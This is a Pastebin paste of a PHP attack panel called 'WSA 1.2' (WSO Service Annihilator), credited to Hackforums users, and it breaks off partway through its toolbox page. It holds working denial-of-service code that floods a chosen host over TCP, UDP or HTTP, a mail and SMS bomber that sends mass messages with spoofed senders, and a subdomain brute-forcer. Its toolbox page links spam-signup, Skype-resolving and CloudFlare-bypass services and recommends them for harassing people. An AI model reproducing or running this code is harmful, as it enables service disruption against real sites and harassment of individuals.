Advertisement
Guest User

WSA1.2

a guest
Apr 8th, 2016
2,393
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 48.16 KB | None | 0 0
  1. <?php
  2. $default_action = 'pageMain';
  3.  
  4. @session_start();
  5. @ini_set('max_execution_time',0);
  6. @set_time_limit(0);
  7. @set_magic_quotes_runtime(0);
  8. @define('WSA_VERSION', '1.2');
  9.  
  10. function getStartTime() {
  11.     $currentTime = explode(' ', microtime(TRUE));
  12.     return $currentTime[0];
  13. }
  14.  
  15. function getExectionTime() {
  16.     $startTime = func_get_args();
  17.     $totalRunTime = round(getStartTime()-$startTime[0],6);
  18.     return $totalRunTime;
  19. }
  20.  
  21. function getServerLoad(){
  22.     $serverLoadArray = array();
  23.     for($i=0; $i < 3; $i++) {
  24.         $getServerLoad = sys_getloadavg();
  25.         $serverLoadArray[] = ($getServerLoad[$i]*100) . '%';
  26.     }
  27.     if(count($serverLoadArray) != 3) {
  28.         $returnData = '                                     <center><span>Unable to get Server Load</span></center>';
  29.     }
  30.     else {
  31.         $returnData = '                     <table cellpadding="3" cellspacing="0">';
  32.         $returnData .= '                            <tr>';
  33.         $returnData .= '                                <td colspan="2">';
  34.         $returnData .= '                                    <span>System Load Average</span>';
  35.         $returnData .= '                                </td><td></td>';
  36.         $returnData .= '                            </tr>';
  37.         $returnData .= '                            <tr>';
  38.         $returnData .= '                                <td>';
  39.         $returnData .= '                                    <span><nobr>1 Minute:</nobr></span>';
  40.         $returnData .= '                                </td>';
  41.         $returnData .= '                                <td>';
  42.         $returnData .= '                                    ' . $serverLoadArray[0] . '';
  43.         $returnData .= '                                </td>';
  44.         $returnData .= '                            </tr>';
  45.         $returnData .= '                            <tr>';
  46.         $returnData .= '                                <td>';
  47.         $returnData .= '                                    <span><nobr>5 Minutes:</nobr></span>';
  48.         $returnData .= '                                </td>';
  49.         $returnData .= '                                <td>';
  50.         $returnData .= '                                    ' . $serverLoadArray[1] . '';
  51.         $returnData .= '                                </td>';
  52.         $returnData .= '                            </tr>';
  53.         $returnData .= '                            <tr>';
  54.         $returnData .= '                                <td>';
  55.         $returnData .= '                                    <span><nobr>15 Minutes:</nobr></span>';
  56.         $returnData .= '                                </td>';
  57.         $returnData .= '                                <td>';
  58.         $returnData .= '                                    ' . $serverLoadArray[2] . '';
  59.         $returnData .= '                                </td>';
  60.         $returnData .= '                            </tr>';
  61.         $returnData .= '                        </table>';
  62.     }
  63.     return $returnData;
  64. }
  65.  
  66. function setMenu() {
  67.     $menuItems = array('Main'=>'pageMain','Bomber'=>'pageMail','Resolver'=>'pageResolver','DoS'=>'pageDoS');
  68.     $returnData = '';
  69.     foreach($menuItems as $key => $value) {
  70.         $returnData .= '<th width="'.(int)(100/count($menuItems)).'%"><form method="post"><button class="astext" name="action" type="submit" value="'. $value .'"><font color="white">[</font> ' . $key . '  <font color="white">]</font></button></form></th>';
  71.     }
  72.     return $returnData;
  73. }
  74.  
  75. function setHeader() {
  76.     $returnData = '<html>';
  77.     $returnData .= '    <head>';
  78.     $returnData .= '        <meta http-equiv="Content-Type" content="text/html; charset=Windows-1251"">';
  79.     $returnData .= '        <title>WSA' . WSA_VERSION . '</title> ';
  80.     $returnData .= '        <style> ';
  81.     $returnData .= '            body{';
  82.     $returnData .= '                background-color:#444;';
  83.     $returnData .= '                color:#e1e1e1;';
  84.     $returnData .= '            }  ';
  85.     $returnData .= '            body,td,th{';
  86.     $returnData .= '                font: 9pt Lucida,Verdana;';
  87.     $returnData .= '            }';
  88.     $returnData .= '            div.fullcontainer{';
  89.     $returnData .= '                position:absolute;';
  90.     $returnData .= '                top:0;';
  91.     $returnData .= '                left:0;';
  92.     $returnData .= '                width:100%;';
  93.     $returnData .= '                height:100%;';
  94.     $returnData .= '            }';
  95.     $returnData .= '            div.header{';
  96.     $returnData .= '                position:absolute;';
  97.     $returnData .= '                top:0;';
  98.     $returnData .= '                height:92px;';
  99.     $returnData .= '                width:100%;';
  100.     $returnData .= '                background-color:#222;                  ';
  101.     $returnData .= '            }';
  102.     $returnData .= '            div.headerinfo{';
  103.     $returnData .= '                height:62px;';
  104.     $returnData .= '                padding-top:4px;';
  105.     $returnData .= '            }';
  106.     $returnData .= '            table.info{';
  107.     $returnData .= '                color:#fff;';
  108.     $returnData .= '                background-color:#222;';
  109.     $returnData .= '            }';
  110.     $returnData .= '            #infoLeft{';
  111.     $returnData .= '                position:absolute;';
  112.     $returnData .= '                left:0;';
  113.     $returnData .= '            }';
  114.     $returnData .= '            #infoRight{';
  115.     $returnData .= '                position:absolute;';
  116.     $returnData .= '                right:0;';
  117.     $returnData .= '            }';
  118.     $returnData .= '            div.headermenu{';
  119.     $returnData .= '                border-top:2px solid #333;';
  120.     $returnData .= '                height: 24px;';
  121.     $returnData .= '                background-color:#444;';
  122.     $returnData .= '            }';
  123.     $returnData .= '            div.centerpos{';
  124.     $returnData .= '                width:100%;';
  125.     $returnData .= '                background-color:#444;';
  126.     $returnData .= '            }';
  127.     $returnData .= '            div.centerwrapper{';
  128.     $returnData .= '                margin:0px 5px 0px 5px;';
  129.     $returnData .= '            }';
  130.     $returnData .= '            div.contenttitle{';
  131.     $returnData .= '                padding:0;';
  132.     $returnData .= '                background-color:#222;';
  133.     $returnData .= '                margin-left:5px';
  134.     $returnData .= '            }';
  135.     $returnData .= '            h1{';
  136.     $returnData .= '                border-left:5px solid #df5;';
  137.     $returnData .= '                padding: 2px 5px;';
  138.     $returnData .= '                font: 14pt Verdana;';
  139.     $returnData .= '                margin:0;';
  140.     $returnData .= '            }';
  141.     $returnData .= '            div.content{';
  142.     $returnData .= '                background-color:#333;';
  143.     $returnData .= '                padding:5px;';
  144.     $returnData .= '                margin:0px 5px 0px 10px;';
  145.     $returnData .= '            }';
  146.     $returnData .= '            span,h1,a,button{';
  147.     $returnData .= '                color: #df5;';
  148.     $returnData .= '            }  ';
  149.     $returnData .= '            span{';
  150.     $returnData .= '                font-weight: bolder;';
  151.     $returnData .= '            }';
  152.     $returnData .= '            span.mailF{';
  153.     $returnData .= '                color:red;';
  154.     $returnData .= '                font-weight: bolder;';
  155.     $returnData .= '                align:left;';
  156.     $returnData .= '            }';
  157.     $returnData .= '            span.mailS{';
  158.     $returnData .= '                color:green;';
  159.     $returnData .= '                font-weight: bolder;';
  160.     $returnData .= '                align:left;';
  161.     $returnData .= '            }';
  162.     $returnData .= '            a,button{';
  163.     $returnData .= '                text-decoration:none;';
  164.     $returnData .= '            }';
  165.     $returnData .= '            .astext {';
  166.     $returnData .= '                background:none;';
  167.     $returnData .= '                border:none;';
  168.     $returnData .= '                margin:0;';
  169.     $returnData .= '                padding:0;';
  170.     $returnData .= '            }';
  171.     $returnData .= '            a,button:hover{';
  172.     $returnData .= '                text-decoration:underline;';
  173.     $returnData .= '            } ';
  174.     $returnData .= '            div.footerwrapper{';
  175.     $returnData .= '                display: flex;';
  176.     $returnData .= '                margin-top:5px;';
  177.     $returnData .= '                background-color:#222;';
  178.     $returnData .= '                width:100%;';
  179.     $returnData .= '                min-height:84px;';
  180.     $returnData .= '                border-top:2px solid #333;';
  181.     $returnData .= '                border-bottom:2px solid #333;';
  182.     $returnData .= '                color:#fff;';
  183.     $returnData .= '            }';
  184.     $returnData .= '            div.footerCenter{';
  185.     $returnData .= '                width:50%;';
  186.     $returnData .= '                overflow:hidden;';
  187.     $returnData .= '                border-right:2px solid #333;';
  188.     $returnData .= '                border-left:2px solid #333;';
  189.     $returnData .= '                display:inline-block;';
  190.     $returnData .= '            }';
  191.     $returnData .= '            div.footerLeft{ ';
  192.     $returnData .= '                width:25%;';
  193.     $returnData .= '                overflow:hidden;';
  194.     $returnData .= '                display:inline-block;';
  195.     $returnData .= '            }';
  196.     $returnData .= '            div.footerRight{';
  197.     $returnData .= '                width:25%;';
  198.     $returnData .= '                overflow:hidden;';
  199.     $returnData .= '                display:inline-block;';
  200.     $returnData .= '            }';
  201.     $returnData .= '            #footTbl > td,tr{';
  202.     $returnData .= '                text-align: center;';
  203.     $returnData .= '                width:40%;';
  204.     $returnData .= '            }';
  205.     $returnData .= '            #bigbox{';
  206.     $returnData .= '                height:80px;';
  207.     $returnData .= '            }';
  208.     $returnData .= '            input,textarea,select{';
  209.     $returnData .= '                margin:0;';
  210.     $returnData .= '                color:#fff;';
  211.     $returnData .= '                background-color:#555;';
  212.     $returnData .= '                border:1px solid #df5;';
  213.     $returnData .= '                font: 9pt Monospace,"Courier New";';
  214.     $returnData .= '            }';
  215.     $returnData .= '            form{';
  216.     $returnData .= '                margin:0px;';
  217.     $returnData .= '            }  ';
  218.     $returnData .= '            #mailTbl{';
  219.     $returnData .= '                text-align:center;';
  220.     $returnData .= '                flex-grow: 1;';
  221.     $returnData .= '                flex-shrink: 1;';
  222.     $returnData .= '            }  ';
  223.     $returnData .= '            .mailInp{';
  224.     $returnData .= '                width: 80%;';
  225.     $returnData .= '            } ';
  226.     $returnData .= '            .main th{';
  227.     $returnData .= '                text-align:left;';
  228.     $returnData .= '                background-color:#5e5e5e;';
  229.     $returnData .= '            }  ';
  230.     $returnData .= '            .main tr:hover{';
  231.     $returnData .= '                background-color:#5e5e5e;';
  232.     $returnData .= '            }  ';
  233.     $returnData .= '            .main td, th{';
  234.     $returnData .= '                vertical-align:middle;';
  235.     $returnData .= '            }  ';
  236.     $returnData .= '            .l1{';
  237.     $returnData .= '                background-color:#444;';
  238.     $returnData .= '            }';
  239.     $returnData .= '            pre{';
  240.     $returnData .= '                font-family:Courier,Monospace;';
  241.     $returnData .= '            }';
  242.     $returnData .= '            .toolbox {';
  243.     $returnData .= '                height: 480px;';
  244.     $returnData .= '            }';
  245.     $returnData .= '            .toolbox > div {';
  246.     $returnData .= '                width: 30%;';
  247.     $returnData .= '                display: inline-block;';
  248.     $returnData .= '                -webkit-transition: 1s ease-out;';
  249.     $returnData .= '                transition: 1s ease-out;';
  250.     $returnData .= '                -webkit-border-radius: 10px;';
  251.     $returnData .= '                border: 2px solid black;';
  252.     $returnData .= '                margin:0px 10px 18px 10px;';
  253.     $returnData .= '                padding-top:10px;';
  254.     $returnData .= '                height: 25px;';
  255.     $returnData .= '                background-color: #444;';
  256.     $returnData .= '                overflow: hidden;';
  257.     $returnData .= '            }';
  258.     $returnData .= '            .toolbox > div:hover { ';
  259.     $returnData .= '                height: 108px; ';
  260.     $returnData .= '                color: white; ';
  261.     $returnData .= '                font-weight: bold; ';
  262.     $returnData .= '            }';
  263.     $returnData .= '            #features { ';
  264.     $returnData .= '                text-align:center;';
  265.     $returnData .= '                flex-grow: 1;';
  266.     $returnData .= '                flex-shrink: 1;';
  267.     $returnData .= '                min-width: 0;';
  268.     $returnData .= '            }';
  269.     $returnData .= '        </style>';
  270.     $returnData .= '    </head>';
  271.     $returnData .= '    <body>';
  272.     $returnData .= '        <div class="fullcontainer">';
  273.     $returnData .= '            <div class="header">';
  274.     $returnData .= '                <div class="headerinfo">';
  275.     $returnData .= '                    <table class="info" id="infoLeft" cellpadding="3" cellspacing="0">';
  276.     $returnData .= '                        <tr>';
  277.     $returnData .= '                            <td>';
  278.     $returnData .= '                                <font size="5"><span>Version: </span>' . WSA_VERSION . '</font>';
  279.     $returnData .= '                            </td>';
  280.     $returnData .= '                        </tr>';
  281.     $returnData .= '                    </table>';
  282.     $returnData .= '                    <table class="info" id="infoRight" cellpadding="3" cellspacing="0">';
  283.     $returnData .= '                        <tr>';
  284.     $returnData .= '                            <td rowspan="2">';
  285.     $returnData .= '                                <font size="5"><span><a href="http://hackforums.net/">HACKFORUMS</a></span></font>';
  286.     $returnData .= '                            </td>';
  287.     $returnData .= '                        </tr><tr></tr>';
  288.     $returnData .= '                        <tr>';
  289.     $returnData .= '                            <td>';
  290.     $returnData .= '                                <nobr><center>Authors: <a href="http://hackforums.net/member.php?action=profile&uid=2050895">allhellno</a> & <a href="http://hackforums.net/member.php?action=profile&uid=3091672">Helzor</a></center></nobr>';
  291.     $returnData .= '                            </td>';
  292.     $returnData .= '                        </tr>';
  293.     $returnData .= '                    </table>';
  294.     $returnData .= '                    <center>';
  295.     $returnData .= '                        <table class="info" cellpadding="3" cellspacing="0">';
  296.     $returnData .= '                            <tr>';
  297.     $returnData .= '                                <td align="center" rowspan="2">';
  298.     $returnData .= '                                    <font size="5"><span><center>WSA</center></span></font>';
  299.     $returnData .= '                                </td>';
  300.     $returnData .= '                            </tr>';
  301.     $returnData .= '                            <tr>';
  302.     $returnData .= '                            </tr>';
  303.     $returnData .= '                            <tr>';
  304.     $returnData .= '                                <td align="center">';
  305.     $returnData .= '                                    <nobr>WSO Service Annihilator</nobr>';
  306.     $returnData .= '                                </td>';
  307.     $returnData .= '                            </tr>';
  308.     $returnData .= '                        </table>';
  309.     $returnData .= '                    </center>';
  310.     $returnData .= '                </div>';
  311.     $returnData .= '                <div class="headermenu">';
  312.     $returnData .= '                    <center>';
  313.     $returnData .= '                        <table id="menu" cellpadding="3" cellspacing="0" width="80%">';
  314.     $returnData .= '                            <tr>';
  315.     $returnData .= setMenu();
  316.     $returnData .= '                            </tr>';
  317.     $returnData .= '                        </table>';
  318.     $returnData .= '                    </center>';
  319.     $returnData .= '                </div>';
  320.     $returnData .= '            </div>';
  321.     return $returnData;
  322. }
  323.  
  324. function setFooter() {
  325.     global $startTime;
  326.     $returnData = '                 <div class="footerwrapper"> ';
  327.     $returnData .= '                    <div class="footerLeft">';
  328.     $returnData .= getServerLoad();
  329.     $returnData .= '                    </div>';
  330.     $returnData .= '                <div class="footerCenter">';
  331.     $returnData .= engineOutput();
  332.     $returnData .= '                </div>';
  333.     $returnData .= '                    <div class="footerRight">';
  334.     $returnData .= '                        <center><span>Page generated in</span><br>';
  335.     $returnData .= getExectionTime($startTime);
  336.     $returnData .= '                        seconds.<br></center>';
  337.     $returnData .= '                    </div>';
  338.     $returnData .= '                </div>';
  339.     $returnData .= '            </div>';
  340.     $returnData .= '        </div>';
  341.     $returnData .= '    </body>';
  342.     $returnData .= '</html>';
  343.     return $returnData;
  344. }
  345.  
  346. function engineResolve() {
  347.     $domainPrefixList = array('www','mail','remote','blog','webmail','server','ns1','ns2','smtp','secure','vpn','m','shop','ftp','mail2','test','portal','ns','ww1','host',
  348.         'support','dev','web','bbs','ww42','mx','email','cloud','1','mail1','2','forum','owa','www2','gw','admin','store','mx1','cdn','api','exchange',
  349.         'app','gov','2tty','vps','govyty','hgfgdf','news','1rer','lkjkui','hfgfgf','yty','lkljk','server1','zcvbnnn','dsasa','my','demo','tgrrre','home','wxsxc',
  350.         'static','tgtggb','staging','oilkjm','wqwqw','mkuu','iuyuy','rerew','iuyuyt','khjghg','qwqee','mx2','qwrer','mjurr','qwqwq','office','ssl','intranet',
  351.         'media','sip','mobile','wiki','autodiscover','login','en','beta','gateway','ns3','images','apps','citrix',
  352.         'baidu','mta','o1','mail3','wwww','img','start','info','stats','dns1','www1','new','router','dns','crm','dns2','web1','git','s1','de',
  353.         'connect','extranet','members','access','help','smtp2','stage','video','a','host2','fw','files','proxy','search','server2','online','smtp1','owncloud','moodle','us',
  354.         'mailhost','service','fr','3','www3','ns4','51','imap','s','pop','db','services','5','forums','old','host1','ts','4','es','svn','backup','srv','cp',
  355.         'srv1','helpdesk','gate','i','mail4','cn','48','correo','7','mx3','relay','web2','8','49','data','14','chat','mail01','69','qa','6','9','71','85',
  356.         'hosting','e','96','70','it','79','13','20','net','10','54','68','84','88','93','99','15','js','19','98','mailserver','11','91','77','site','66','ad','58',
  357.         '95','download','23','62','50','monitor','18','55','42','46','82','live','37','36','33','32','34','204','64','31','92','38','39','cms','27','21','17','mailgate','25','57',
  358.         'mdm','81','73','83','86','76','72','40','29','56','photos','78','59','24','53','16','docs','28','jira','94','ads','44','22','ca','61','89',
  359.         '63','67','30','65','47','go','26','60','43','74','community','b','cf-protected-www','52','image','sslvpn','web01','80','211','87','35','jobs','jp','41',
  360.         'hk','s2','97','75','152','cpanel','mx01','129','alpha','lists','d','clients','143','209','159','122','host3','142','216','107','174','blogs','153','139','212','222',
  361.         '172','c','210','119','library','151','134','da','135','155','assets','146','123','147','220','207','outlook','136','piwik','90','firewall','168','194',
  362.         '100','219','217','201','member','208','gitlab','108','213','157','121','202','128','156','195','gallery','206','141','218','249','45','newsletter','132',
  363.         '199','mx4','tw','177','223','0','248','140','166','186','182','wp','post','179','barracuda','180','auth','106','169','165','sharepoint','109','197','118','167',
  364.         '161','250','adfs','154','124','200','221','149','t','148','133','138','sp','187','sh','164','host5','billing','241','193','mail5','253','190','zimbra','sv',
  365.         'ru','sc','101','191','cf-protected','188','117','102','137','115','bj','wap','uat','144','fs','131','redmine','247','150','160','sso','175','196','127','host4','215','224',
  366.         '120','prod','230','246','126','244','173','cq','www5','231','114','client','234','170','192','229','252','242','gs','176','235','233','main','181','236','238','245','hn','254','out','232',
  367.         's3','104','184','240','network','113','226','hi','origin','cs','analytics','projects','185','sn','ws','ci','mailer','rds','112','239','116','events','host6','205','125','uk','he','203','host7','voip',
  368.         'gd','mx5','webserver','training','178','fb','mta1','130','archive','pop3','237','mail02','227','host11','poczta','nas','reports','gx','vpn2','host10','legacy','f','broadcast','gw1','111','edu','ah','host8',
  369.         'hl','243','ln','join','198','vps1','server3','145','panel','manage','o2','214','158','host9','zj','photo','tools','av','163','host13','social','tj','box','183','smtp3','sms','dc','sd','p','nagios',
  370.         'share','host14','tv','cc','zeus','b2b','ns0','fj','server01','255','www4','mysql','partner','sx','meet','content','sts','pbx','xz','db1','189','vip','mx6','music','lo0','corp',
  371.         'hermes','v','tickets','careers','sftp','master','mta2','srv01','survey','mars','stg','spam','ms','cdn1','status','yn','vpn1','ha','dashboard','gz','web3','pt','irc','posta','ns5','jx','catalog','securemail','ww2','sandbox','staff',
  372.         'jl','103','nl','110','radio','host12','intra','mail6','em','bound','core','rt','oa','a1','bc','xj','account','jupiter','pc1','register','monitoring','lab','sites','view','ldap','business','games','mercury','dl','game','g','stream','wordpress','mx02','pc2',
  373.         '225','nx','162','bcast','style','228','srv2','lib','atlas','x','105','forms','r','w','upload','storage','lyncdiscover','facebook','orion','preview','marketing','m1','partners','calendar','elearning','venus',
  374.         'gw2','in','cdn2','stat','linux','book','erp','ww','english','pc3','conference','hb','qh','file','pay','web02','noc','fw1','12','feeds','lw','c1','list','q','mc','ftp2','customer','intern','bb','job','pluto','sync',
  375.         'oc','ns01','nm','sbs','code','signup','ec','pc4','eng','dns3','apollo','css','order','tech','lync','mail7','travel','fc','phoenix','nat','internal','mx10','local','hr','confluence','pro','link','public','resources','directory',
  376.         'sg','s4','a2','id','sklep','hq','gis','pl','ac','preprod','b1','ar','cas','project','vdi','server4','work','sales','ra','vm','a3','cd','sentry','d1','v2','ex','mailout','map','db2','pc5','mail10','im',
  377.         'design','smtp4','dd','f1','cf','l','saturn','booking','research','idp','mta3','speedtest','webconf','track','test2','maps','club','w3','3g','h','be','auto','desktop','k','int','u','vm1','titan','doc','vps2','eu','lms','c2',
  378.         'm2','lb','251','user','play','china','e1','control','time','st','img1','jenkins','app1','testing','ds','au','test1','do','transfer','portfolio','shopping','alumni','a4','smtp01','ce','free','finance','zabbix','e0',
  379.         'reservations','pc6','d2','tr','ns6','z','learn','edge','j','thor','cache','a5','downloads','student','labs','bd','b2','mailgw','tracker','traveler','webmail2','ps','system','n','baijiale',
  380.         'videos','host20','host15','ae','servidor','mx0','ee','sql','virtual','team','athena','web4','dialin','se','pm','cb','myaccount','c3','aa','ns02','host17','kb','ag','a6','update','as',
  381.         'payment','ir','img2','f2','s5','orders','galleries','ticket','mta4','a7','hub','sw1','delta','promo','pc','affiliate','users','webservices','health','redirect','host18','cgi','rdp','webapps','host19','payments',
  382.         'bocaiwang','terminal','com','console','mx8','ba','co','pm04-1','fa','aws','rss','node1','mail8','radius','global','d4','pm03-1','rd','sa','ip2','host16','ttyulecheng','accounts','ab',
  383.         'apply','mirror','d3','mx7','about','host22','adm','b3','host21','host23','c4','a0','o','manager','d7','art','red','cacti','ea','mm','tracking','mail03','taiyangchengyulecheng','server5','mailing','campus',
  384.         'hwmaint','f3','v1','jabber','meeting','webshop','csg','w1','security','host26','is','mta5','d5','blue','sports','school','corporate','streaming','ws1','iris','ip1','checkout','pages','ed',
  385.         'br','af','3d','fe','d6','pic','one','domains','y','e3','chef','affiliates','r1','mon','contact','dev2','s0','bi','sun','res');
  386.  
  387.     $returnData = '<center><span>Subdomain scanner output</span><br>';
  388.     $returnData .= '<table cellspacing="1" cellpadding="2" class="info">';
  389.     $domain = func_get_args();
  390.     $domainAddress = gethostbyname($domain[0]);
  391.     if(filter_var($domainAddress, FILTER_VALIDATE_IP)); {
  392.         $returnData .= '<tr><td>' . $domain[0] . '</td><td>' . $domainAddress . '</td></tr>';
  393.         for($i = 0, $arraySize = count($domainPrefixList); $i < $arraySize; $i++) {
  394.             $subDomain = $domainPrefixList[$i] .'.'. $domain[0];
  395.             $subDomainAddress = gethostbyname($subDomain);
  396.             if (filter_var($subDomainAddress, FILTER_VALIDATE_IP)) {
  397.                 $returnData .= '<tr><td>' . $subDomain . '</td><td>' . $subDomainAddress . '</td></tr>';
  398.             }
  399.         }
  400.         $returnData .= '</table></center>';
  401.         return $returnData;
  402.     }
  403. }
  404.  
  405. function engineDoS() {
  406.     $returnData = '<center><span>DoS output</span><br>';
  407.     $attackDetails = func_get_args();
  408.     $stopTime = time() + $attackDetails[3];
  409.     $packetsSent = 0;
  410.     if($attackDetails[0] != 'http') {
  411.         for($sendData = 0; strlen($sendData) < 65000; $sendData .= Chr(255))
  412.         while(1){
  413.             if (time() > $stopTime) break;
  414.             @$fp = fsockopen($attackDetails[0].'://'.$attackDetails[1], $attackDetails[2], $errno, $errstr, 5);
  415.             if($fp){
  416.                 fwrite($fp, $sendData);
  417.                 fclose($fp);
  418.                 $packetsSent++;
  419.             }
  420.         }
  421.     }
  422.     else {
  423.         if ($attackDetails[4] == null) $attackDetails[4] = '/';
  424.         $sendData .= 'GET ' . $attackDetails[4] . ' HTTP/1.1' . "\r\n";
  425.         $sendData .= 'Host: ' . $attackDetails[1] . "\r\n";
  426.         $sendData .= 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0b7) Gecko/20100101 Firefox/4.0b7' . "\r\n";
  427.         $sendData .= 'Keep-alive: 300' . "\r\n";
  428.         $sendData .= 'Connection: keep-alive' . "\r\n\r\n";
  429.         @$fp = fsockopen( $attackDetails[1], $attackDetails[2], $errno, $errstr, 5 );
  430.         while(1){
  431.             if (time() > $stopTime) break;
  432.             if($fp){
  433.                 fwrite($fp, $sendData);
  434.                 fclose($fp);
  435.                 $packetsSent++;
  436.             }
  437.             else @$fp = fsockopen( $attackDetails[1], $attackDetails[2], $errno, $errstr, 5 );
  438.         }
  439.     }  
  440.     $returnData .= '<table cellspacing="1" cellpadding="2" class="info">';
  441.     if($packetsSent == 0) $returnData .= '<tr><td colspan="2"><font color="red">ERROR</font></td><td></td></tr>';
  442.     else {
  443.         $returnData .= '<tr><td>' . round($packetsSent) . ' Packets sent</td><td>' . round($packetsSent/$attackDetails[3]) . ' Packets/s</td></tr>';
  444.         if($attackDetails[0] !='http') $returnData .= '<tr><td>' . round(($packetsSent*65)/1024, 2) . ' MB</td><td>' . round(($packetsSent*65)/1024/$attackDetails[3], 2) . ' MB/s</td></tr>';
  445.     }
  446.     $returnData .= '</table></center>';
  447.     return $returnData;
  448. }
  449.  
  450. function engineMail() {
  451.     $mailDetails = func_get_args();
  452.     $to = $mailDetails[0];
  453.     $from = $mailDetails[1];
  454.     $messageCount = intval($mailDetails[2]);
  455.     $subject = $mailDetails[3];
  456.     $message = $mailDetails[4];
  457.     $returnData = '<center><span>Mail/SMS bomber output</span><br>';
  458.     $failedCount = '0';
  459.     $successCount = '0';
  460.     $default_email = 'rekt@gayjimsgym.com';
  461.     $invalid_email = false;
  462.     if (!preg_match( '/^[a-z0-9&\'\.\-_\+]+@[a-z0-9\-]+\.([a-z0-9\-]+\.)*?[a-z]+$/is', $mailDetails[0])) $invalid_email = true;
  463.     if (!preg_match ( '/^[a-z0-9&\'\.\-_\+]+@[a-z0-9\-]+\.([a-z0-9\-]+\.)*?[a-z]+$/is', $from)) $from = 'Unknown Sender < '. $default_email . '>';
  464.     if (!empty($to) || !empty($subject) || !empty($message) || !empty($from) || !$invalid_email) {
  465.         for ($i = 0; $i < $messageCount; $i++) {
  466.             $fromMod = explode('@', $from);
  467.             $fromMod[0] = $fromMod[0] . $i;
  468.             $fromMod = implode('@', $fromMod);
  469.             $subjectMod = $subject . $i;
  470.             $headers = "From: $fromMod" . "\r\n";
  471.             $headers .= "Reply-To: $fromMod" . "\r\n";
  472.             $headers .= "X-Mailer: PHP/" . phpversion();
  473.             if(!@mail($to, $subjectMod, $message, $headers)) $failedCount++;
  474.             else $successCount++;
  475.         }
  476.     }
  477.     else if ( $invalid_email && !empty($to) && !empty($subject) && !empty($message) && !empty($from) ) $returnData .= 'Invalid Target';
  478.     $returnData .= 'Sent: '. $successCount . ' Failed: ' . $failedCount . '</center>';
  479.     return $returnData;
  480. }
  481.  
  482. function engineOutput() {
  483.     $returnData = '';
  484.     if($_POST['action'] == 'pageMail') {
  485.         if(isset($_POST['to'])) {
  486.             $to = $_POST['to'];
  487.             if(isset($_POST['gateway'])) $to = $to . $_POST['gateway'];
  488.             $from = $_POST['from'];
  489.             $loop = intval($_POST['loop']);
  490.             $subject = $_POST['subject'];
  491.             $message = $_POST['message'];
  492.            
  493.             $returnData .= engineMail($to,$from,$loop,$subject,$message);
  494.         }
  495.     }
  496.  
  497.  
  498.     if($_POST['action'] == 'pageDoS') {
  499.         if(isset($_POST['host'])) {
  500.             $type = $_POST['FloodType'];
  501.             $host = $_POST['host'];
  502.             $port = intval($_POST['port']);
  503.             $time = intval($_POST['time']);
  504.             $page = $_POST['page'];
  505.             $returnData .= engineDoS($type,$host,$port,$time,$page);
  506.         }
  507.     }
  508.  
  509.  
  510.     if($_POST['action'] == 'pageResolver' && isset($_POST['ResThis'])) {
  511.         if(preg_match("/^(?!\-)(?:[a-zA-Z\d\-]{0,62}[a-zA-Z\d]\.){1,126}(?!\d+)[a-zA-Z\d]{1,63}$/",$_POST['ResThis'])) {
  512.             $ScanSite = $_POST['ResThis'];
  513.             $returnData .= engineResolve($ScanSite);
  514.         }
  515.     }
  516.     return $returnData;
  517. }
  518.  
  519. function pageMain() {
  520.     $returnData = setHeader();
  521.     $returnData .= '            <div class="contentpos" style="padding-top:92px;">';
  522.     $returnData .= '                <div class="contenttitle">';
  523.     $returnData .= '                    <h1>Main Page - ToolBox</h1>';
  524.     $returnData .= '                </div>';
  525.     $returnData .= '                <div class="centerwrapper">';
  526.     $returnData .= '                    <div class="content">';
  527.     $returnData .= '                        <div class="toolbox">';
  528.     $returnData .= '                            <div><center><span>Reverse IP/Domain Search</span></center>';
  529.     $returnData .= '                                <p id="features"><a href="http://www.yougetsignal.com/tools/web-sites-on-web-server/">www.yougetsignal.com</a> - A reverse IP domain check takes a domain name or IP address pointing to a web server and searches for other sites known to be hosted on that same web server.</p></div>';
  530.     $returnData .= '                            <div><center><span>Mobile Provider Lookup</span></center>';
  531.     $returnData .= '                                <p id="features"><a href="http://fonefinder.net/">fonefinder.net</a> - A tool used to discover which wireless company owns a mobile number. Useful for SMS bombing.</p></div>';
  532.     $returnData .= '                            <div><center><span>DNS History</span></center>';
  533.     $returnData .= '                                <p id="features"><a href="https://dnshistory.org/">dnshistory.org</a> - This tool archives DNS entries and allows users to search the database for free. Useful for bypassing CloudFlare.</p></div>';
  534.     $returnData .= '                            <div><center><span>Reverse Email Search</span></center>';
  535.     $returnData .= '                                <p id="features"><a href="http://www.yougetsignal.com/tools/reverse-email-lookup/">www.yougetsignal.com</a> - This tool allows you find the e-mail addresses a person owns or the owner of a specific e-mail address.</p></div>';
  536.     $returnData .= '                            <div><center><span>Username Search</span></center>';
  537.     $returnData .= '                                <p id="features"><a href="http://checkusernames.com/">checkusernames.com</a> - This site allows you to do a basic username search on several large social networking sites.</p></div>';
  538.     $returnData .= '                            <div><center><span>Skype Resolver</span></center>';
  539.     $returnData .= '                                <p id="features"><a href="http://mostwantedhf.info/">mostwantedhf.info</a> - A popular Skype resolver.</p></div>';
  540.     $returnData .= '                            <div><center><span>Email Crafter</span></center>';
  541.     $returnData .= '                                <p id="features"><a href="https://emkei.cz/">emkei.cz</a> - A free online email crafter with a lot of customizations.</p></div>';
  542.     $returnData .= '                            <div><center><span>PrivNote\'s Self Destructing Pastebin</span></center>';
  543.     $returnData .= '                                <p id="features"><a href="https://privnote.com/">privnote.com</a> - This site allows you to share sensitive information with self destructing encrypted notes. Also has email notification when destroyed.</p></div>';
  544.     $returnData .= '                            <div><center><span>CloudFlare Resolver</span></center>';
  545.     $returnData .= '                                <p id="features"><a href="http://iphostinfo.com/cloudflare/">iphostinfo.com</a> - A free online CloudFlare resolver.</p></div>';
  546.     $returnData .= '                            <div><center><span>MailBait Spam Signup Tool</span></center>';
  547.     $returnData .= '                                <p id="features"><a href="http://www.mailbait.info/run.html">www.mailbait.com</a> - This tool signs up a targets email address to various mailing lists. Great for pissing people off.</p></div>';
  548.     $returnData .= '                            <div><center><span>RevengeSpam Spam Signup</span></center>';
  549.     $returnData .= '                                <p id="features"><a href="http://revengespam.com/">revengespam.com</a> - Another automatic spam signup tool to piss people off!</p></div>';
  550.     $returnData .= '                            <div><center><span>Crank Call Site List</span></center>';
